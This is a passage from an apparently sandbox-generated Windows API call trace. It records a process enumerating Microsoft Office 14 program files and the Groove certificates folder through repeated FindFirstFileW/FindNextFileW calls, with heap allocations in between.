ftCreationTime.dwLowDateTime=0x84ca1800, ftCreationTime.dwHighDateTime=0x1c2b07e, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84ca1800, ftLastWriteTime.dwHighDateTime=0x1c2b07e, nFileSizeHigh=0x0, nFileSizeLow=0x298, dwReserved0=0x0, dwReserved1=0x0, cFileName="SECREC.CFG", cAlternateFileName="")) returned 1 [0201.450] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="SECRECL.ICO", cAlternateFileName="")) returned 1 [0201.450] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SECRECS.ICO", cAlternateFileName="")) returned 1 [0201.450] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50c80400, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50c80400, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x287, dwReserved0=0x0, dwReserved1=0x0, cFileName="SECURE.CFG", cAlternateFileName="")) returned 1 [0201.450] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="SECURL.ICO", cAlternateFileName="")) returned 1 [0201.450] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SECURS.ICO", cAlternateFileName="")) returned 1 [0201.450] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b799300, ftCreationTime.dwHighDateTime=0x1c61668, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b799300, ftLastWriteTime.dwHighDateTime=0x1c61668, nFileSizeHigh=0x0, nFileSizeLow=0x303, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHARING.CFG", cAlternateFileName="")) returned 1 [0201.450] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50c80400, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50c80400, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x298, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIGN.CFG", cAlternateFileName="")) returned 1 [0201.450] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIGNL.ICO", cAlternateFileName="")) returned 1 [0201.450] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIGNS.ICO", cAlternateFileName="")) returned 1 [0201.450] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50c80400, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50c80400, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x280, dwReserved0=0x0, dwReserved1=0x0, cFileName="SMIMEE.CFG", cAlternateFileName="")) returned 1 [0201.450] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50c80400, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50c80400, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x29c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SMIMES.CFG", cAlternateFileName="")) returned 1 [0201.451] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ff90d00, ftCreationTime.dwHighDateTime=0x1c666e6, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2ff90d00, ftLastWriteTime.dwHighDateTime=0x1c666e6, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="SMSL.ICO", cAlternateFileName="")) returned 1 [0201.451] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac132a00, ftCreationTime.dwHighDateTime=0x1c6859b, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac132a00, ftLastWriteTime.dwHighDateTime=0x1c6859b, nFileSizeHigh=0x0, nFileSizeLow=0x8be, dwReserved0=0x0, dwReserved1=0x0, cFileName="SMSS.ICO", cAlternateFileName="")) returned 1 [0201.451] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50c80400, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50c80400, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x300, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASK.CFG", cAlternateFileName="")) returned 1 [0201.451] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50c80400, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50c80400, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x324, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKACC.CFG", cAlternateFileName="")) returned 1 [0201.451] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKACCL.ICO", cAlternateFileName="")) returned 1 [0201.451] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKACCS.ICO", cAlternateFileName="")) returned 1 [0201.451] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50c80400, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50c80400, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x327, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKDEC.CFG", cAlternateFileName="")) returned 1 [0201.451] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKDECL.ICO", cAlternateFileName="")) returned 1 [0201.451] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x217a650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKDECS.ICO", cAlternateFileName="")) returned 1 [0201.451] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x217a650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKL.ICO", cAlternateFileName="")) returned 1 [0201.451] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50c80400, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x21a07b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50c80400, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x31d, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKREQ.CFG", cAlternateFileName="")) returned 1 [0201.452] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x21a07b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKREQL.ICO", cAlternateFileName="")) returned 1 [0201.452] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x21a07b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKREQS.ICO", cAlternateFileName="")) returned 1 [0201.452] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x21a07b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKS.ICO", cAlternateFileName="")) returned 1 [0201.452] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51f93100, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51f93100, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKUPD.CFG", cAlternateFileName="")) returned 1 [0201.452] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51f93100, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51f93100, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKUPD.CFG", cAlternateFileName="")) returned 0 [0201.452] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0201.454] GetProcessHeap () returned 0x550000 [0201.454] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26010a0 | out: hHeap=0x550000) returned 1 [0201.454] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0201.454] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0201.455] GetProcessHeap () returned 0x550000 [0201.455] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0201.456] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc59cb00, ftCreationTime.dwHighDateTime=0x1c3e388, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc59cb00, ftLastWriteTime.dwHighDateTime=0x1c3e388, nFileSizeHigh=0x0, nFileSizeLow=0x88933, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRENCH.LNG", cAlternateFileName="")) returned 1 [0201.456] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd02ee500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x17d368, dwReserved0=0x0, dwReserved1=0x0, cFileName="GANTT.DLL", cAlternateFileName="")) returned 1 [0201.456] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76567200, ftCreationTime.dwHighDateTime=0x1cbc9ed, ftLastAccessTime.dwLowDateTime=0xd7980ce0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x76567200, ftLastWriteTime.dwHighDateTime=0x1cbc9ed, nFileSizeHigh=0x0, nFileSizeLow=0x26cb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="GFX.DLL", cAlternateFileName="")) returned 1 [0201.456] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66f91a00, ftCreationTime.dwHighDateTime=0x1cab8ab, ftLastAccessTime.dwLowDateTime=0x52abf210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66f91a00, ftLastWriteTime.dwHighDateTime=0x1cab8ab, nFileSizeHigh=0x0, nFileSizeLow=0x45a180, dwReserved0=0x0, dwReserved1=0x0, cFileName="GKExcel.dll", cAlternateFileName="")) returned 1 [0201.457] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66f91a00, ftCreationTime.dwHighDateTime=0x1cab8ab, ftLastAccessTime.dwLowDateTime=0x52b0b4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66f91a00, ftLastWriteTime.dwHighDateTime=0x1cab8ab, nFileSizeHigh=0x0, nFileSizeLow=0x2a6b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="GKPowerPoint.dll", cAlternateFileName="GKPOWE~1.DLL")) returned 1 [0201.457] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65c7ed00, ftCreationTime.dwHighDateTime=0x1cab8ab, ftLastAccessTime.dwLowDateTime=0x61a457d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65c7ed00, ftLastWriteTime.dwHighDateTime=0x1cab8ab, nFileSizeHigh=0x0, nFileSizeLow=0x2f8580, dwReserved0=0x0, dwReserved1=0x0, cFileName="GKWord.dll", cAlternateFileName="")) returned 1 [0201.457] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8748a300, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x52befd10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8748a300, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x623b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRAPH.EXE", cAlternateFileName="")) returned 1 [0201.457] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2ca8e00, ftCreationTime.dwHighDateTime=0x1cac1de, ftLastAccessTime.dwLowDateTime=0x61a91a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2ca8e00, ftLastWriteTime.dwHighDateTime=0x1cac1de, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Graph.exe.manifest", cAlternateFileName="GRAPHE~1.MAN")) returned 1 [0201.457] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32f5d600, ftCreationTime.dwHighDateTime=0x1c3b950, ftLastAccessTime.dwLowDateTime=0x61a91a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x32f5d600, ftLastWriteTime.dwHighDateTime=0x1c3b950, nFileSizeHigh=0x0, nFileSizeLow=0x2fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRAPH.ICO", cAlternateFileName="")) returned 1 [0201.457] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x582abeb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x582abeb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Groove", cAlternateFileName="")) returned 1 [0201.457] GetProcessHeap () returned 0x550000 [0201.457] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0201.458] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x582abeb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x582abeb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0201.471] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x582abeb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x582abeb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0201.472] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5e490770, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Certificates", cAlternateFileName="CERTIF~1")) returned 1 [0201.472] GetProcessHeap () returned 0x550000 [0201.472] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26010a0 [0201.473] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5e490770, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0201.475] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5e490770, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0201.476] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="groove.net", cAlternateFileName="")) returned 1 [0201.476] GetProcessHeap () returned 0x550000 [0201.476] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26110a8 [0201.476] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0201.516] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: 